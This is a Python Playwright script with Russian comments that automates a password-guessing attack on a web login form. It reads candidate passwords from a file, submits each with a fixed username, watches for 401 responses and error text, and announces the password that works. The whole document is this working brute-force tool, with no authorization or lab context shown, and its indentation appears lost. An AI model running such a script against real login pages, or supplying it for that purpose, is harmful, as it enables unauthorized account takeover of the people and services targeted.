def test_passwords():
with sync_playwright() as p:
# headless=False оставлен, чтобы вы видели, куда кликает скрипт
browser = p.chromium.launch(headless=False)
page = browser.new_page()
try:
with open(PASSWORD_FILE, "r", encoding="utf-8") as f:
for line in f:
password = line.strip()
if not password:
continue
print(f"[*] Проверяем пароль: {password}")
# Открываем страницу и ждем загрузки поля
page.goto(URL)
page.wait_for_selector(SELECTOR_LOGIN_INPUT)
# Заполняем форму
page.fill(SELECTOR_LOGIN_INPUT, USERNAME)
page.fill(SELECTOR_PASSWORD_INPUT, password)
# Измененная логика: перехватываем любой ответ сервера после клика
try:
with page.expect_event("response", timeout=5000) as response_info:
page.click(SELECTOR_SUBMIT_BUTTON)
response = response_info.value
print(f"[ DEBUG ] Сервер ответил на URL: {response.url} со статусом {response.status}")
# Проверка статуса ответа
if response.status == 401:
print("[-] Пароль не подошел (Сервер вернул 401 Unauthorized)")
time.sleep(1) # Короткая пауза перед следующим кругом
continue
# Если статус успешный (например, 200, 302, 204)
if response.status in [200, 302, 204]:
# Дополнительно проверяем, не остался ли на странице текст ошибки
time.sleep(1)
if "401" in page.content() or "error" in page.content().lower():
print("[-] Пароль не подошел (Обнаружен текст ошибки)")
continue
print(f"\n[+] УСПЕХ! Правильный пароль: {password}")
print(f"[+] Итоговый статус: {response.status}")
break
except Exception as e:
print(f"[!] Ошибка ожидания ответа сервера: {e}")
print("[-] Попробуем перезагрузить страницу...")
continue
except FileNotFoundError:
print(f"[!] Файл {PASSWORD_FILE} не найден.")
finally:
browser.close()
if __name__ == "__main__":
test_passwords()